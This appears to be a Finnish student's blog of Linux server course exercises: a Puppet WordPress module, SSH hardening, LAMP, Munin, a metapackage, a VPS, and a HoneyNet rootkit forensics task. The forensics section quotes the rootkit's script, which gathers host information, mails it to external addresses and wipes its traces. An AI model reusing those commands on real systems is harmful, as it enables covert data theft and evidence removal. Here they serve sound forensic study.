Tehtävä 6 – Oma puppet moduuli

GitHub – Repository – tässä ovat moduulin manifesteja.

Kurssin pääteeksi viimeisenä tehtävänä on rakentaa oma moduuli.

Vähän ajateltuna päätin valita tällaisen tehtävän, josta on hyötyä jatkossakin. WordPress asentavan moduulin teko kuulosti mielenkiintoiselta, mutta vähän haastavalta. Loppujen lopuksi päätin ryhtyä rakentamaan just sen.

Suunnittelu.

Kuten jokainen WordPress asentanut tietää, asennuksen kokonaisuus koostuu muutamasta asiasta. Ne ovat LAMP-asennus, tietokannan muokkaaminen (uusi käyttäjä, salasanat), WordPress paketin lataus ja asennus. Päätin tehdä oma manifesti jokaiselle vaiheille erikseen. Päätin käyttää myös Puppet Labs Package joka järjestää moduulin niin, että siitä voidaan muutamalla komennolla luoda tar.gz paketti ja asentaa toiseen koneen. Aloitin lataamalla sen.

$ sudo apt-get update 

$ wget https://apt.puppetlabs.com/puppetlabs-release-trusty.deb sudo dpkg -i puppetlabs-release-trusty.deb

$ sudo apt-get install puppet

$  sudo puppet module install puppetlabs-apache

$ sudo puppet module install puppetlabs-mysql

$ mkdir ~/MyModules

$ cd  ~/MyModules

Generoin moduulin rungon jonka sitten lähden muokkaamaan:

$ sudo puppet module generate do-wordpress --skip-interview

–skip-interview ohittaa tietojen syötön metadata.json tiedostoon jossa moduulin metadata sijaitse

Sitten kirjoitin ensimmäisen manifestin, joka käsitellee Apache ja PHP:tä

$ nano ~/MyModules/do-wordpress/manifests/web.pp

Käytä "Takaisin" painiketta katsottua manifestia GitHub.com:issa.

https://github.com/xelsinki/test/blob/master/web.pp

Seuraavaksi kirjoitin manifestin jossa sijaitsee muuttujat.

$ nano ~/MyModules/do-wordpress/manifests/conf.pp

https://github.com/xelsinki/test/blob/master/conf.pp

Ideana on se, että muuttujia vaihdetaan vain tässä tiedostossa. Kun moduuli käynnistetään toisella serverillä niin riittää, että yksityistietoja muokataan vain tässä.

Muuttujia on yhteensä 7:

$root_password – root käyttäjän salasana
$db_name – tietokannan nimi
$db_user – tietokannan käyttäjä
$db_host – host missä tietokanta sijaitse
$db_user_password -tietokannan käyttäjän salasana

ja vielä 2 muuttujia koostuvia mitkä tarvitaan seuraavassa manifestissa.

$db_user_host = "${db_user}@${db_host}" – käyttäjä@host

$db_user_host_db= "${db_user}@${db_host}/${db_name}.*" – käyttäjä@host/tietokanta.*

Seuraavaksi kirjoitin tietokanta moduulin:

$ sudo nano ~/MyModules/do-wordpress/manifests/db.pp

https://github.com/xelsinki/test/blob/master/db.pp

Tässä manifestissa muokataan MySQL Server ja Client tietoja.

– Määritetään root salasana
– Luodaan wordpress tietokanta
– Luodaan wordpress tietokannan käyttäjän
– Annetaan käyttäjälle täydet oikeuden muokata tietokanta

Seuraavaksi latasin wordpress asennus paketin. Valmista pakettia Ubuntun repositorissa ei ole, niin on helpompi ladata sen käsiin do-wordpress/files kansioon. Purasin sen /tmp kansioon, otin kopion wp-config-sample.php tiedostosta do-wordpress/template kansioon ja käytän sen runkona wordpress konfiguraatiossa. Sitten tyhjensin /tmp kansion ja avasin kopioidun tiedoston muokattavaksi.

mkdir ~/MyModules/do-wordpress/files
cd ~/MyModules/do-wordpress/files
wget http://wordpress.org/latest.tar.gz
mkdir ~/MyModules/do-wordpress/templates
cd /tmp
tar -xvzf ~/MyModules/do-wordpress/files/latest.tar.gz
cp /tmp/wordpress/wp-config-sample.php ~/MyModules/do-wordpress/templates/wp-config.php.erb
rm -rf /tmp/wordpress
sudo nano ~/MyModules/do-wordpress/templates/wp-config.php.erb

https://github.com/xelsinki/test/blob/master/wp-config.php.erb

Laitoin sinne muuttujat.

<?php
define('DB_NAME', '<%= scope.lookupvar('wordpress::conf::db_name') %>');
define('DB_USER', '<%= scope.lookupvar('wordpress::conf::db_user') %>');
define('DB_PASSWORD', '<%= scope.lookupvar('wordpress::conf::db_user_password') %>');
define('DB_HOST', '<%= scope.lookupvar('wordpress::conf::db_host') %>');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

define('AUTH_KEY',         'put your unique phrase here');
define('SECURE_AUTH_KEY',  'put your unique phrase here');
define('LOGGED_IN_KEY',    'put your unique phrase here');
define('NONCE_KEY',        'put your unique phrase here');
define('AUTH_SALT',        'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT',   'put your unique phrase here');
define('NONCE_SALT',       'put your unique phrase here');

$table_prefix  = 'wp_';

define('WP_DEBUG', false);

if ( !defined('ABSPATH') )
    define('ABSPATH', dirname(__FILE__) . '/');

require_once(ABSPATH . 'wp-settings.php');

Seuraavaksi kirjoitin wordpress manifestin:

nano ~/MyModules/do-wordpress/manifests/wp.pp

https://github.com/xelsinki/test/blob/master/wp.pp

Tässä manifestissa puretaan ladattu latest.tar.gz (wordpress paketti), kopioidaan sen /var/www kansioon jossa sijaitse apachen pyörittämät web-sivut. Viimeisenä kopioidaan templateista aikaisemmin luomani wp-config.php.erb oikeaan paikaan josta wordpress hae konfiguraatiot.

Viimeisenä moduulin manifestina kirjoitin init.pp jossa märitän käynnistysvuorot:

nano ~/MyModules/do-wordpress/manifests/init.pp

https://github.com/xelsinki/test/blob/master/init.pp

Lopussa kootaan modulin:

$ cd ~/MyModules
$ sudo puppet module build do-wordpress
$ sudo puppet module install ~/MyModules/do-wordpress/pkg/do-wordpress-0.1.0.tar.gz

Nyt voidaan katsoa mitkä modulit ovat asennettu koneeseen.

$ sudo puppet module list

Sitten voi käynnistää modulin:

sudo puppet apply -e 'class {"wordpress":}'

Jos on imestynyt virheitä täytyy poistaa modulin:

sudo puppet module uninstall do-wordpress

Sitten korjata virheellinen manifesti ja koota paketti uudestaan.
(jos muutoksia eivät tule voimaan pitää poista ~/MyModules/do-wordpress/pkg/ kansion, jossa koottu paketti sijaitse. Sitten toistaa kokontumista)

 

Oma pakettini ei toimi vielä, olen just muokkaamassa sen.

Toimivan version julkaisen tässä ja GitHub:issa.

Sain sen toimimaan. Näytän esityksessä ja julkaisen korjaukset huomenna.

Lopputulos: Nyt WordPress voidaan asentaa muutamassa minuutissa.

Lähteet:

https://github.com/puppetlabs/puppetlabs-mysql

https://www.digitalocean.com/community/tutorials/how-to-create-a-puppet-module-to-automate-wordpress-installation-on-ubuntu-14-04

 

Aloitan tehtävän asentamalla mun läppäriin pysyvän Xubuntu 16.04 LTS rinnakkais käyttöjärjestelmänä. Syy tähän on se, että olen niin rakastunut Linuxiin tässä muutamassa kuukaudessa, että päätimme muuttaa yhteen.

Löysin googlamalla GitHub repository jossa säilytetään Puppet moduleita GOV::UK

https://github.com/alphagov/govuk-puppet/tree/master/modules

The United States Government Configuration Baseline (USGCB) – Red Hat Enterprise Linux 5 Desktop Content: https://usgcb.nist.gov/usgcb/rhel/download_rhel5.html

PUPPET MODULES (Change Log) – 2011.07.26

sha1
0D06228CF9EA29EC931EAA6D6E9C9EA7B4AEABB1
sha256
ABE10B94C4C1D0D2F91A85380ABEA54D25EA549A218699F33C9C009BFE076479

Tarkistan SHA1 summan:

$ sha1sum puppet-sdc-dist.tar.gz

0d06228cf9ea29ec931eaa6d6e9c9ea7b4aeabb1 puppet-sdc-dist.tar.gz

Puran arkiston:

$ tar -xvf puppet-sdc-dist.tar.gz

Valitsin manifest “ssh” joka asentaa openssh-client ja openssh-server

Tässä on alkuperäinen:

class ssh {
# GuideSection
# 3.5.2 3.5.2.1 3.5.2.3 3.5.2.4 3.5.2.5 3.5.2.6 3.5.2.7 3.5.2.8
# Configure ssh server
package {
“openssh-clients”:
ensure => installed;
“openssh-server”:
ensure => installed;
}

service {
“sshd”:
ensure    => true,
enable    => true,
hasstatus => true,
require   => Package[“openssh-server”];
}

augeas {
“sshd_config, 3.5.2.*”:
context => “/files/etc/ssh/sshd_config”,
lens    => “sshd.lns”,
incl    => “/etc/ssh/sshd_config”,
changes => [
“set Protocol 2”,
“set ClientAliveInterval 900”,
“set ClientAliveCountMax 0”,
“set IgnoreRhosts yes”,
“set HostbasedAuthentication no”,
“set PermitRootLogin no”,
“set PermitEmptyPasswords no”,
“set Banner /etc/issue”,
“set PermitUserEnvironment no”,
“set Ciphers aes128-ctr,aes192-ctr,aes256-ctr”,
];
}
}

 

 

Kopioin sen /etc/puppet/modules/ssh/manifests/init.pp

Käynnistin class ssh:

 

 

 

 

Tuli virheilmoitus.

Tarkistin onko Ubuntulla “openssh-clients” nimistä pakettia?

Sudo apt-get install openssh + <TAB>

user@hp:/etc/puppet/modules/ssh/manifests$ sudo apt-get install openssh-

openssh-blacklist openssh-client openssh-known-hosts openssh-sftp-server

openssh-blacklist-extra openssh-client-ssh1 openssh-server

 

Paketti on pikkasen eriniminen. Muokan manifestin oikeaksi.

user@hp:/etc/puppet/modules/ssh/manifests$ sudo nano init.pp

user@hp:/etc/puppet/modules/ssh/manifests$ sudo puppet apply -e ‘class {“ssh”:}’

Notice: Compiled catalog for hp.home in environment production in 0.98 seconds

Error: /Stage[main]/Ssh/Service[sshd]: Could not evaluate: Could not find init script or upstart conf file for ‘sshd’

Notice: Finished catalog run in 0.15 seconds

user@hp:/etc/puppet/modules/ssh/manifests$

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Silti tule virheilmoitus.

 

 

Yritän vielä etsiä mistä tämä virheilmoitus voi johtua.

 

Linux perusteet kurssin koe

Tehtäväksi valitsin seuraava koe:

http://terokarvinen.com/2012/linux-koe-tyoasemat-ja-tietoverkot-25

Me Karttakatu Oy:ssä teemme karttoihin liittyviä weppisovelluksia. Olemme muutaman hengen yritys.

Asenna työasema, jolla tavallisimmat toimistotyöt onnistuvat (weppisurffailu, tekstinkäsittely). (Asentuessa voit käydä kommentoimassa kavereiden blogeja).

Työntekijämme ovat Einari Vähäkäähkä, Pekka Winha, Åke Andersson ja Leila Laila. He haluavat kehittää PHP-kotisivuja etäkäyttöyhteydellä. Asenna tarvittavat palvelut ja tee esimerkkisivut.

Asenna kaikkien käyttäjien käyttöön skripti (shell script) nimeltä “mystatus”, joka näyttää vapaan levytilan (df -h) ja koneen ip-osoitteen.

Tähtäätkö huipputulokseen? Pekka Winha haluaa käyttää MySQL tietokantaa. Asenna hänelle MySQL-tietokanta ja siihen PhpMyAdmin-weppiliittymä.

 

Ratkaisu:

Olen asentanut labrassa 5004 koneseen Xubuntu 14.04 Live USB-tikulta. Asennus sujui hyvin.

sitten päivitetään pakettihallinta komennolla:

sudo apt-get update

pitää asentaa ssh-server ja luoda käyttäjät, seurava komento on:

sudo apt-get install openssh-server

Terminal näytti kuinka paljon tilaa ssh-server vie ja kysyi vahvistusta.

Hetken päästä asennus on valmis.

Seuraavaksi olen luonnut käyttäjä pekka komennolla:

sudo adduser pekka

asennus kysyi pekalle salasanan,

Full name: Pekka Winha,

muut tiedot jätin tyhjänä.

Samoin tein muille käyttäjille: Einari Vähäkäähkä, Åke Andersson ja Leila Laila

sudo adduser einari

sudo adduser ake

sudo adduser leila

tarkistin:

ssh ake@localhost

annoin salasanan ja rudulle imestyi

ake@hp:¨~$

tämä tarkoittaa että ake on kirjautunut ssh palvelimelle koneseen hp.

Konennolla exit olen sulkenut yhteyden.

Seuravaaksi pitää asentaa Apache, MySQL, PHP

sudo apt-get install apache2

Asennuksen jälkeen tarkistin web selaimessa:

http://localhost

Tuli Apache2 Ubuntu Default Page -sivu. Apache toimii.

Avasin käyttäjille kotisivuhakemiston sallituksi

sudo a2enmod userdir

Käynistin apache uudelleen.

service apache2 restart                       FAIL

unohdin laittaa sudo eteen.

sudo service apache2 restart              OK

Seuravaksi asensin PHP

sudo apt-get install php5

Muokkasin “configuration” tiedostoa

/etc/apache2/mods-enabled/php5.conf

Screenshot - 30.08.2016 - 11.44.40

Käynistinapache uudelleen

sudo service apache2 restart

Seuraavaksi:

sudo apt-get install mysql-server

sudo apt-get install phpmyadmin

Valitsin salasana phpmyadmin:ille

Kirjauduin mysql:iin

mysql -u root -p

rudulle tuli

mysql>

tietokanta toimii, lähdin pois komennolla

quit

 

Lähteet:

VIHONENL: https://vihonenl.wordpress.com/linux-palvelimena/

 

Kuormitus ja lokit

Kerää kuormitustietoja munin -ohjelmalla
– Kuormita konetta stress:llä
– Käytä tunnilla käytyjä työkaluja arvioidaksesi kuormitusta: cpu, mem, io…
– Lopuksi analysoi munin keräämiä käyriä
– Aiheuta valitsemaasi lokiin muutamia rivejä ja analysoi niistä 2-3 riviä perusteellisest

 

Työskentelyympäristön vaihto – Linux virtuaalikone MS Azure Iaas pilvissä:

Kesällä suoritin Cloud Services kurssia jossa olen tutustunut Microsoft Azuren IaaS ratkaisuihin. Käytin Windos Server 2012 virtuaalikonetta projektin suorittamiseen. Nyt on hyvää tilaisuus tutustua Linux palvelimiin SSH etähallinalla koska ymmärsin että käytämme töyskentelyyn komentokehotetta.

Olen luonnut Microsoft Azuren virtuaalikoneseen asennettua Ubuntu 16.04 LTS johon saa kätevästi yhteyttä SSH:lla. Virtuaalikonen koko on A1 Standard (1 core, 1,75GB RAM, 40GB HDD). Järjestelmä on luonut virtuaaliverkon, antanut konelle public IP osoite ja avannut Endpoint (portti) 22 SSh yhteyttä varten. Samalla on perustettu “Network Security Group” jossa määritellään virtuaaliverkon parametrit. Data Center valintani on “West Europe” (Alankomaat) koska niin voidaan tarvittaessa käsitellä ja säilyttää EU:n kansallaisten henkilötietoja lainsäädäntön vaatimalla tavalla (EU:n .

sudo apt-get update – päivitin Ubuntun

sudo apt-get-install munin – käynisti munin asennuksen, valmis

sudo apt-get-install stress – käynisti stressin asennuksen, valmis

 

Kokeilen ensin netstatin käyttöä.

netstat -? tai -help antoi

netstat -pea  -inet (ei näy kaikki tietoja ilman root oikeuksia)

 

netstat -inet    näytti “Kernel Interface table”asetukset korteille: eth0 & lo(loopback)

sudo netstat -pea  (yhdistelmä)

  • -p, –programs           display PID/Program name for sockets
  • -e, –extend             display other/more information
  • -a, –all, –listening   display all sockets (default: connected)

 

-a  eli all näyttää”Active Connections” luettelon yhteyksistä, joista näytti:

  • käyttävän protokollan  – käytetyt osoiteet  (lähtöosoite:porti & kohdeosoite:portti)
  • yhteyden nykytilan (Listen/Time_WAIT/Established)
  • yhteyden omistajan (root/syslog).
MUNIN:
NAME
       munin - Munin manpage hub

DESCRIPTION
       Munin is a group of programs to gather data from hosts, graph them,
       create html-pages, and optionally warn contacts about any off-limit
       values.

       The Munin master contains the following programs:
        munin-update - to gather data from machines running munin-node.
        munin-graph  - to create graphs from data contained in rrd-files.
        munin-limits - to check for any off-limit values.
        munin-html   - to draw html-pages on an Munin installation
        munin-cron   - to batch other munin programs

 

Rootkit etsintä

Tehtävänä oli löytää saastetun konen levykuvasta jälkiä rootkitistä.

HoneyNet Scan of the Month 15. http://old.honeynet.org/scans/scan15/

Ratkaisu:

Asensin labran koneseen Xubuntu 14.04  Live USB-tikulta..

Latasin levykuva: http://old.honeynet.org/scans/scan15/

Päivitin pakettitietokannan:

sudo apt-get update

Päätin käyttää “sleuthkit”(lisäätietoa: http://www.sleuthkit.org/) niminen kokoelman,

niin latasin sen komennolla:

sudo apt-get install sleuthkit

menin kansioon missä saastunut levykuva on:

cd /home/Downloads

tarkistetin tarkistussumman:

md5sum honeynet.tar.gz

Summa oli sama kun sivustossa MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21

Olen purkanut levykuvan komennolla:

tar -xvf honey.tar.gz

Purettu levykuva sisältänyt kansion honeynet

screenshot-1

niin olin luonut tähän kansioon vielä kaksi kansiota allocated ja deleted yhdellä konmennolla:

mkdir allocated deleted

palautetaan allocated tiedostot kansioon allocated:

tsk_recover -a honeypot.hda8.dd allocated

1614 tiedostoa oli palautettu

palautetaan poistetut tiedostot kansioon deleted:

tsk_recover honeypot.hda8.dd deleted

37 tiedostoa on palautettu.

Minua enemmän kiinnostavat poistetut tiedostot

siellä löytyy vielä yksi arkisto lk.tgz purkasin sen:

tar -xvf lk.tgz

kansioon last on purettu:

screenshot-2

nimistä linsniffer, logclear voidaan päätää että ollaan lähellä.

komennolla: fls -l honeypot.hda8.dd | less

sain viimeksi käytetyjen tai poistettujen tiedostojen listan.

(komennolla fls saa tietoa mitkä vielä argumentit voi käyttää tällä sleuthkit komennolla)

screenshot-8

viimeiset ovat lk.tgz ja last 03:44 ja 03.45 käyetetty.

 

less install

screenshot-5

screenshot-7

tiedosto on skripti joka siirtää, kopioi ja poistaa tietoja netstat, ifconfig….

käsittelee konen verkkotietoja…

Computer tiedostoon rootkit keräsi tietokoneen tietoja:
echo “* Luam Informatiile dorite …”
echo “* Info : $(uname -a)” >> computer
echo “* Hostname : $(hostname -f)” >> computer
echo “* IfConfig : $(/sbin/ifconfig | grep inet)” >> computer
echo “* Uptime : $(uptime)” >> computer
echo “* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)” >> computer
echo “* Cpu Model : $(cat /proc/cpuinfo|grep model)” >> computer
echo “* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)” >> computer
echo “* Bogomips: $(cat /proc/cpuinfo|grep bogomips)” >> computer
echo “* Spatiu Liber: $(df -h)” >> computer

rivit:

cat computer | mail -s “placinte” last@linuxmail.org

cat computer | mail -s “roote” bidi_damm@yahoo.com

tulostavat computer tietoja ja lähettävät sähköpostia näihin osoiteisiin.

viimeinen rivi:

rm -rf last lk.tgz computer lk.tar.gz

poistaa kansion last ja tiedostot lk.tgz, lk.tar.gz, computer

eli peittää jäljet.

 

less cleaner

Screenshot - 6.png

tämä tiedosto ilmeisesti poistaa jäljet lokeista…..

Lähteet:

http://old.honeynet.org/scans/scan15/

http://www.sleuthkit.org/sleuthkit/man/fls.html

http://www.sleuthkit.org/sleuthkit/man/tsk_recover.html

http://www.cyberciti.biz/faq/tar-extract-linux/

https://jukkapentti.wordpress.com/2013/01/28/scan-of-the-month-15-rootkit/

https://vihonenl.wordpress.com/linux-palvelimena/

http://www.sleuthkit.org/case/sotm_15/

Metapaketti

Tehtäväksianto:

– Tee metapaketti, joka asentaa suosikkiohjelmasi. Katso, että se menee läpi lintianista.
– Tee pakettivarasto repreprolla

Käytän tehtävässä aiemmin luotu MS-Azure virtuaali Ubuntu 16.04 LTS. Otin yhteyttä koneseen putty:lla.

Alussa päivitin paketteja komennolla:

sudo apt-get update

Käytän paketin valmistamiseen equivs ohjelman. Asensin sen komennolla:

sudo apt-get install equivs

Asennus onnistui.

Seuraavaksi loin uuden kansion metapaketti ja siirryin sinne.

mkdir metapaketti

cd metapaketti

Seuraavaksi loin asennustiedoston equivs:llä

Kansioon syntyi tiedosto metapaketti.cfg avasin sen nano:lla

nano metapaketti.cfg

Ilmestyi tyhjä sivu nanolla.????

Tutkittuani huomasin kirjoitusvirhen metapeketti.cfg

Oikea komento avasi metapaketti.cfg nano:lla.

Tiedostossa muokkasin seuraavat kohdat: Package, Version, Maintainer, Depends ja Description. Depends-kohtaan määrittelin mitkä ohjelmat pakettiin halutaan. wireshark, munin, lintian

package

Ajetaan equivs-build:lla  muokattu metapaketti.cfg komennolla

equivs-build metapaketti.cfg

build

paketin luonti onnistunut:

Seuraavaksi tarkistetaan paketin alex-pac_1.0_all.deb. Asensin lintian komennolla

sudo apt-get install lintian

Asennus on valmis. Tarkistin paketin komennolla

lintian alex-pac_1.0_all.deb

notexist

Tuli ilmoitus että tiedostoa ei löytynyt. Tarkistin mitä kansiossa on.

ls

cd metapaketti

lintian alex-pac_1.0_all.deb

Virheilmoitusta ei näkynyt. Paketti on valmis.

Asiensin gdebi komennolla

sudo apt-get install gdebi -y

gdebi

sudo gdebi -n alex-pac_1.0_all.deb

ohjelmat asensivat oikein.

REPREPRO

Asensin reprepro komennolla

sudo apt-get install reprepro

komennolla: lsb_release -a 

selvisin että käytössäni on  xenial 

Loin kansion ja nanolla tiedoston

mkdir -p repository/conf

nano repository/conf/distributions

rep

kun oli aikaa käynistää tein montaa kertaa saman virhen. Kirjoitin paketin sijainnin väärin  ( home/alex/metapaketti…….) sitten korjasin seuraavasti:

reprepro -VVVV -b repository/ includedeb xenial /home/alex/metapaketti/alex-pac_1.0_all.deb

reprepro

repository on luotu. Asensin komennolla

sudo apt-get install alex-pac

loppu

Nyt ei kuitenkin asennettu mitään koska ohjelmat oli asennettu aikaisemmin.

Lähteet:

http://terokarvinen.com/2011/create-deb-metapackage-in-5-minutes

http://terokarvinen.com/2011/update-all-your-computers-with-a-deb-repository

https://kimstenberg.wordpress.com/

http://forum.ubuntu.ru/index.php?topic=279895.0

 

LAMP Asennus

Varsinaiset tehtävät:

– Asenna LAMP. LAMP tarkoittaa Linux, Apache, MySQL, PHP. Tee pienin erikseen testattava kokonaisuus kerrallaan ja testaa aina asennetut osat. Jos ei toimi, lue lokeja.
– Tee MySQL:n uusi tietokanta ja samanniminen käyttäjä. Valitse hyvä salasana, joka on eri kuin muut salasanat.

Asensin Apache komennolla:

sudo apt-get install apache2

Asetin käyttäjille kotisivuhakemiston sallituksi komennolla:

sudo a2enmod userdir

käynistin uudelleen apache:

sudo service apache2 restart

public_html kansio oli luotu edellisessä tehtävässä. Lisäsin sinne index.html tiedoston.

html

asensin php komennolla:

sudo apt-get install php5

no-php5

Tuli omituinen viesti että php5 ei voi asentaa…

jatkan tehtävän  toisella konella.

parin tunnin jälkeen kokeilin muuttaa komentoa.

Komento: sudo apt-get install php onnistui

Seuraavaksi:

sudo apt-get install mysql-server phpmyadmin

Pyydettiin uusi salasana root käyttäjälle

ja millä serverillä voi käyttää phpmyadmin

Valitsin molemmat apache2 ja lighttp.

Pyydettiin salasana phpmyadmin:ille

phpmyadmin

Valitsin salasana phpmyadmin:ille

Kirjauduin mysql:iin

mysql -u root -p

rudulle tuli

mysql>

Lähdin pois komennolla

quit

 

LÄHTEET:

matto.guru

phpmyadmin.net

 

Links:

gandi.net  – Domains

namecheap.com – Domains

https://letsencrypt.org/ – saa ilmaisen “Certificate Authority”

sqlzoo.net – SQL “eläntarha” – Jos SQL tietoja ruostessa, niin tämä on hyvä sivusto

VPS asennus

Oppitunnilla käytin aikaisemmin asentamani ubuntu MS Azure palvelussa. Päätin sitten kuitenkin käyttämään GitHub Education Pack etua, eli asentaa Digital Ocean VPS konetta. Olen rekisteröinyt Digital Ocean sivuilla rekisteröitymään. Kirjoitin Promo Codes kohtaan saamani GitHub Education Pack:ista Digital Ocean promo-tunnuksen. Tuli ilmoitus että tililläni nyt on 50€ käyttövaara mikä on voimassa 12 kuukauden ajan tästä päivästä lähtien.

Olen luonnut halvin mahdollinen Droplet, joka maksaa 5€ kk.

1 core / 512 MB Memory / 20 GB Disk / FRA1 – Ubuntu 16.04.1 x64

(Tärkeä: Ohjeet toimivat Ubuntu 14.04 versiossa, muissa paketeissa daemonien nimet ja syntaksi ovat vähän erillaiset.  )

Asensin monta eri konetta millä kokeilin eri vaihtoehtoja. Täällä toimii ns. tuntiveloitus, eli palvelua laskutetaan vain virtualipalvelinten käyttöajasta. Minun tapauksessa 5€/kk eli 0,007€/h. Samalla pystyn käyttämään vain 10 konetta. On mahdollisuus asettaa konelle Private networking, IPv6, Backups mitkä ovat lisäpalveluita ja maksavat lisää. Esimerkiksi varmuuskopionti nostaa koneen hinnan 20%.

Sitten muutamassa sekunnissa virtualikone oli valmis. Kokeilin kirjautua Console-ikkunan kautta.  Kirjauduin root tunnuksilla ja annoin salasanaksi sähköpostille saapunut salasanalla, minkä järjestelmä käski heti vaihtamaan.

Digital Ocean VPS pääsee käyttämään myös Console:n kautta, jos tarvitse tehdä joku pieni tehtävä tai muutos koneessa. Tämä on kätevä ominaisuus mikä monilla puuttuu. Esimerkiksi Microsoft Azure:ssa ja monilla muilla VPS palvelun tarjoajilla on mahdollista päästää koneisiin vain SSH-yhteyden kautta.

created

Laitoin konsoli ikkunan kiinni. Kirjauduin sisään SSH – Putty:lla

Laitoin palomuuri päälle:

ufw allow 22/tcp

ufw enable

Kysyttiin olenko varma? muuten SSH yhteys katkea.

Olen luonut uuden käyttäjän sekä lisännyt sen ryhmiin.

adduser alex
adduser alex sudo
adduser alex adm

Kirjauduin uudelleen uudella käyttäjällä ja lukitsin root tunnuksen

sudo usermod –lock root

Kokeilin kirjautua root:illa toisessa Putty ikkunassa:

login as: root
root@138.68.92.167’s password:
Access denied
root@138.68.92.167’s password:

ROOT on lukittu.

Asensin Apache

apt-get update

apt-get install apache2

avasin portti TCP 80 web palvelimelle

ufw allow 80/tcp

Minulla on ollut muutama halpa domain nimiä just testikäyttöä varten. Niin menin muutamaan DNS asetuksia GoDaddy.Com sivuille.

 

dns

Kokeilin muodostaa yhteyttä  ping:illä

ping

Ping toiminut. Sitten kokeilin domainin toiminta web-selaimessa. Avautui Apache:n sivu.

Yritin kirjautua Putty:lla käyttämällä domainia IP- osoitteen sijaan.

Kun olen asentanut LAMP voi lukea tehtävässä 5 “LAMP asennus”

Kun olen luonut kansion käytäjälle ja yritin käynistää apache2 pyydettiin vahvistusta. 

sudo a2enmod userdir
service apache2 restart

mkdir public_html

==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to restart ‘apache2.service’.
Authenticating as: ,,, (alex)
Password:
==== AUTHENTICATION COMPLETE ===

sudo apt-get update
sudo apt-get install php5
sudo apt-get install phpmyadmin

Valitsin molemmat serverit käynistämään phpmyadmin

Tuli viesti haluanko päivittää SQL tietokannan:

Valitsin Yes ja annoin käyttäjätunnuksen ja salasanan

Sitten tarkistin tietokannan.
mysql -u root -p
mysql>
quit

Tehtävässä oli vielä yksi osio. Pitää laitaa monta DNS-nimeä samaan IP-osoitteeseen. Apache Name Based Virtual Hosting. Jatkan tästä nyt. Päätin ensin ottaa Snapshot, ettei tapahdu kitään korjamatonta. On vielä hyvää tilaisuus kokeila Snapshotin ottamista. Se maksaa 0,05 € per 1GB per kuukausi.

snapshot

Minun koneen snapshot on 1,7 GB kokoinen. Yhteensä se tekee muutamaa sentti per kuukausi. Snapshotista olen luonnut uuden koneen.

snapshot-kone

Sähköpostitse sain root tunnuksen salasanan, kun vaidoin sen kokeilin kirjautua minun käyttäjätunnuksella. Se onnistui ja käyttäjän juurikansiossa oli samat tiedostot kun vanhassa koneessa. Jatkan muokkataa vanhaa konetta.

 

 

https://jvaris.wordpress.com/2014/03/03/linux-server-task-5-apache-name-based-virtual-hosting/

 

Jatkan tehtävässä 6 asennetulle VPS:lle

Kokeilin asentaa WordPress oppitunnilla. Sain sen toimimaan, mutta luokassa asensin sen Labra-koneelle enkä ehtinyt ottaa kaikkea talteen. Nyt asennan sen VPS:lle mikä asensin edellisessä tehtävässä. Tämän jälkeen minulla on toimiva WordPress omalla VPS:lla ja mitä on arvokkampi kokemus sen asentamisesta.

Mitä on tehty edellisessa tehtävässä:

  • Asensin Digital Ocean VPS
  • Asensin sinne LAMP
  • Liitin sinne domain nimen:

Jatkan MYSQL-osiosta:

Luodaan taulu, luodan käyttäjä, annetaan käyttäjälle oikeus käyttämään taulua:(suosittelen käyttämään eri nimet ja salasana kun tässä. ainakin minä itse tein niin)

mysql -u root -p
CREATE DATABASE wordpress;
CREATE USER wordpressuser@localhost IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON wordpress.* TO wordpressuser@localhost;
FLUSH PRIVILEGES;
exit

Käyttäjän home-kansioon ladataan wordpress.org sivustolta viimeisen version  tar-tiedosto

wget http://wordpress.org/latest.tar.gz

Puretaan se ja kopioidan konfiguration tiedosto ja avatan se nano:lla

tar xzvf latest.tar.gz

 

Puretussa tiedostossa oli wordpress niminen kansio. Ladataan vielä plugin

sudo apt-get install php5-gd

 sudo apt-get install libssh2-php

(TÄRKEÄ: Tämä toimii Ubuntu 14.04:ssa muissa paketeissa plugin voi olla eriniminen.)

Siirrytään kansioon joka oli purettu latamasta tiedostosta

cd wordpress

Kopioidaan konfiguraatiot samplesta varsinaiseen konfiguraatio-tiedostoon ja muokataan ne nanolla

cp wp-config-sample.php wp-config.php 
nano wp-config.php

Kirjoitin näihin kentiin samat tiedot mitä laitoin luomani MySQL-tietokantaan:

(muista laita valitsemasi nimet ja salasana)

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpressuser');

/** MySQL database password */
define('DB_PASSWORD', 'password');

kopioidaan wordpress tiedostot web-palvelimen kansion /var/www/html/

sudo rsync -avP ~/wordpress/ /var/www/html/

cd /var/www/html/

Nyt pitää vielä antaa oikeuksia muokkamiseen

sudo chown -R user:www-data *

(user on sinun oma käyttäjän nimi mille oikeudet annetaan)

Luodaan kansio laadattaville materiaalille mitä halutaan julkaistaa sivuilla esim. kuvat, videot ym. ja muokkataan sen oikeudet.

mkdir /var/www/html/wp-content/uploads

sudo chown -R :www-data /var/www/html/wp-content/uploads

Nyt kun kokeilee korjoittaa selaimessa  koneen IP mille asennuksen tehdään tulee WordPress:in web-käyttöliittymä. Pitää vain kirjoittaa sivuston nimen, käyttäjänimen salasanan ja Asennus on valmis.

Minun oma asennus on  nähtävissä gomummi.com

wordpress-web-configuration

successful

Lähteet:

matto.guru

https://www.digitalocean.com/community/tutorials/how-to-install-wordpress-on-ubuntu-14-04

http://terokarvinen.com/2016/aikataulu-linux-palvelimena-ict4tn003-22-ja-23-alkusyksy-2016

Tehtäväksi anto:

PXE & Preseed. Asenna käsin koskematta käyttöjärjestelmä tyhjään koneeseen verkon yli.

Saa tehdä parityönä, molemmat saavat palauttaa saman, identtisen raportin. Raportista pitää selkeästi käydä ilmi, ketkä sen ovat yhdessä tehneet.

Laita raporttisi liitteeksi tai linkiksi sekä palvelimelta että asennetulta koneelta:
